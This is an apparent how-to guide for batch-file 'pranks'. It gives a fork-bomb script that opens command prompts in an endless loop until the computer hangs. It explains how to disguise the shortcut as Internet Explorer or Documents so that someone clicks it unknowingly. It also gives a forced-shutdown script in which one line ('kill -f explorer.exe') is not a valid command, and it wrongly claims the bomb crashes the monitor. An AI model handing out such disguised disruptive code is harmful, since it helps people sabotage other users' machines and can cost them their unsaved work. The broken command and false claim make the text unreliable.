- Use Notepad to enter the necessary code.
- Save the file with a .bat extension.
- Create a shortcut for the file and replace the icon with something innocuous. Clicking the icon will cause the monitor to crash.
Steps
Open up Notepad.
For Windows XP, go to Start and click All Programs. In All Programs click Accessories, in Accessories click Notepad. For Windows 7, click Start then type in the search bar at the bottom type; Notepad and press enter.
Copy this code into Notepad: @echo off color a cls :top start goto top
Save as a Batch file. For example as cmd_prank.bat.
Create a shortcut to the prank. Right click on the file and click Send To, then Desktop.
Change the icon. Go to the Desktop and right click and go to Properties and Change Icon. Make the icon Internet Explorer or the Documents icon.
Click Apply then Ok.
Right click again and rename the file to correspond with the icon.
When the file is double clicked, hundreds of command prompts open up and crash the monitor. To stop this before it happens, pull out the battery or press and hold the power key until it turns off(laptops) or unplug the computer, not the monitor (desktops).
Instantly Shut Down
Open notepad and type the following code: kill -f explorer.exe shutdown -s -f exit
Save as a Batch file. In Notepad, press Ctrl+S, then select "Any" as file type, enter a name with a ".bat" extension, for example "Anything.bat", and click on Save.
Run it.
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